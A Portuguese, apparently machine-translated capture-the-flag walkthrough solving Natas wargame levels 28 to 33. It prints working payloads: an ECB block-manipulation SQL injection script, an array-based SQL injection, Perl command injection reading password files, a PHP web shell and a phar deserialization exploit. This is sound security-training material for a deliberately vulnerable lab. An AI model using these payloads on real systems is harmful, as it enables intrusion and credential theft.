
Neste artigo, trataremos da operação de algumas identidades da WEB usando o jogo de guerra
Natas como exemplo. Cada nível tem acesso à senha do próximo nível. Todas as senhas também são armazenadas nos arquivos / etc / natas_webpass /. Por exemplo, a senha para natas5 é armazenada no arquivo / etc / natas_webpass / natas5 e é somente leitura para usuários natas4 e natas5.
Partes passadas:
parte 1 ,
parte 2 ,
parte 3 e
parte 4 .
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
nível 28
Ao enviar qualquer solicitação, vemos um redirecionamento para outra página com uma solicitação estranha e codificação base64, cuja decodificação não dá nada.

Enviaremos qualquer solicitação para consulta. Recebemos um erro que deixa claro que o redirecionamento usa criptografia e, nesta página, a solicitação é descriptografada antes de ser transferida para o banco de dados. Ou seja, precisamos criptografar nossa injeção e enviá-la ao servidor, mas não sabemos a chave. Mas nós temos um criptografador - este é o servidor.

Primeiro, vamos lidar com criptografia. Enviaremos duas linhas diferentes "qwerty" e "asdfgh" e analisaremos como elas serão convertidas.

Em resposta, obtemos linhas idênticas, que em um determinado local têm uma sequência distinta. Como o início e o final de dois PCs (texto cifrado) são os mesmos, podemos tirar as seguintes conclusões:
- O complemento inicial ao AT é usado (texto simples);
- há uma adição final ao OT;
- O modo ECB é usado, pois em OT diferente os últimos blocos do CT são os mesmos, ou seja, os blocos são independentes um do outro.
A idéia é a seguinte: enviamos uma consulta ao banco de dados para criptografia, mas ela será convertida e, portanto, ao descriptografar, a injeção não será aprovada. É necessário lidar com os complementos para calcular com precisão os blocos em que nossa carga útil será criptografada. Depois da criptografia, retiraremos nossos blocos da solicitação e os enviaremos apenas para o servidor. No servidor, eles serão descriptografados e, como não possuem complementos, executados.
A ideia é apresentada em quatro imagens:
- Apresentação de 5 blocos.
- Um codificador com adições de início e fim que criptografam uma sequência vazia.
- Criptografia da string "TEXTTEXTTEXTTEXT".
- Nós nos livramos das adições adicionando o número necessário de caracteres antes e depois da nossa linha para colocá-lo em um bloco separado. Retiramos do PC apenas o segundo bloco.

Dessa forma, recebemos apenas nossa string criptografada em uma chave desconhecida para nós !!!
Dados necessários:
- Modo de criptografia (conhecido - BCE)
- Comprimento do bloco (conhecido - 16)
- Comprimento inicial do complemento (desconhecido)
- O tamanho do nosso texto (conhecido - “SELECT password
Como piada de usuários ")
É necessário descobrir a duração do enchimento inicial. Como os dois primeiros blocos são iguais, enviaremos um número diferente de caracteres e, assim que o terceiro bloco parar de mudar, encontraremos o número de caracteres necessários para complementá-lo. Estes são 10 caracteres. Abaixo está uma implementação do algoritmo acima.
import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result)

Nós obtemos a senha.
nível 29
É difícil adivinhar que o código perl chama a função de linha de comando e passa o arquivo especificado nos dados (que você pode selecionar) para o comando. O fato é que podemos fechar o pipeline de "exec | read_command_file "em" exec | read_command | our_smd_command ".

Mas o fato é que nossa equipe será exibida no console, e não no site. Para fazer isso, adicione o seguinte comando para substituir caracteres nos fluxos de entrada / saída: “| tr "antes" depois ".

Como o comando foi concluído, leremos a senha do arquivo especificado. Mas nos dizem que não podemos fazer isso ...

Usaremos a filtragem de linha de comando e inseriremos aspas em todos os lugares que serão apagados quando o comando for executado.

Tiramos a senha.
nível 30
Vamos dar uma olhada no código fonte. O método quote () é usado aqui, que escapa a todos os caracteres especiais em uma string. Mas ele escapa exatamente na string, o que nos dá o direito de operar a injeção, se usarmos, por exemplo, uma matriz (nesse caso, um elemento zero será aceito).

Vamos criar uma carga para a solicitação
Select * FROM users where username = 'username' and password = 'password';
Como sabemos que o nome de usuário é natas31, introduzimos a condição correta na senha: '' ou 1. Em seguida, nossa solicitação se tornará assim
Select * FROM users where username = 'natas31' and password = '' or 1;
E agora resta enviar uma matriz.
import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text)

Tiramos a senha.
nível 31
A essência do serviço fica imediatamente clara: a partir do arquivo csv, obtemos a tabela em html.

Vamos ver o código fonte.

E o que é mais interessante: é a linha while (<$ file>), enquanto file é a linha do parâmetro Assim, é possível executar o código.

Envie qualquer arquivo csv e intercepte a solicitação no Burp Suite.

Agora vamos adicionar o comando como um parâmetro.
?/bin/cat%20/etc/natas_webpass/natas32%20|

Para chamar a carga do parâmetro, adicione as seguintes linhas:
-----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV


Nós obtemos a senha.
nível 32
Abrimos a página onde nos dizem que precisamos provar a execução do código e executar o arquivo webroot.

Se você olhar para o código, é exatamente o mesmo que no nível anterior. Em seguida, exploramos a vulnerabilidade da última vez. Vamos encontrar o arquivo webroot. Para fazer isso, consulte o diretório, usando como carga: ls -la |

Obtenha a lista de arquivos. O Webroot não está lá, mas há uma senha de programa estranha.
Nós realizamos.


Nós obtemos a senha para o último nível.

nível 33
Novamente, o formulário de upload do arquivo.

Vamos dar uma olhada no código fonte.

Portanto, devemos fazer upload de um arquivo com tamanho de até 4 MB no servidor e se md5 do conteúdo do arquivo for igual ao valor de referência, ele será executado no interpretador php. Nós olhamos mais longe. Nós podemos controlar o nome do arquivo e seu conteúdo.

Direi imediatamente que essa é uma vulnerabilidade complexa que conheci há meio ano. O objetivo é que possamos enviar um arquivo de qualquer tipo para o servidor e que quaisquer operações sejam executadas com seu conteúdo. Sobre os arquivos phar está escrito
aqui . Em resumo, um arquivo php especial representando dados serializados. Nesse caso, a leitura do fluxo phar levará à execução do código. Assim, você pode serializar o código e enviá-lo ao servidor. Ao calcular o md5, um fluxo será lido - o que levará à execução do código.
Então, primeiro crie um arquivo php que leia a flag.
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
Carregue-o no servidor. Não esqueça de alterar o nome no Burp Suite.


Recebemos a resposta do servidor ... Ok. Agora vamos criar um arquivo phar, que, quando executado, alterará os valores que precisamos (o hash sempre estará correto e o nome do arquivo que já foi carregado no servidor). Portanto, passaremos na verificação e o servidor executará o shell.php.
<?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?>
Antes de compilar no arquivo /etc/php/xx/php.ini, você precisa alterar o parâmetro phar.readonly para Off.

Em seguida, execute o php shell.php e obteremos o arquivo .phar. Enviamos para o servidor e alteramos o nome.

Portanto, temos os dois arquivos: archive e shell. Agora você precisa fazer com que o arquivo seja lido do arquivo, o que levará à execução do código.

Nós obtemos a senha.

Aquele era o local da Natas. Você pode se juntar a nós no
Telegram .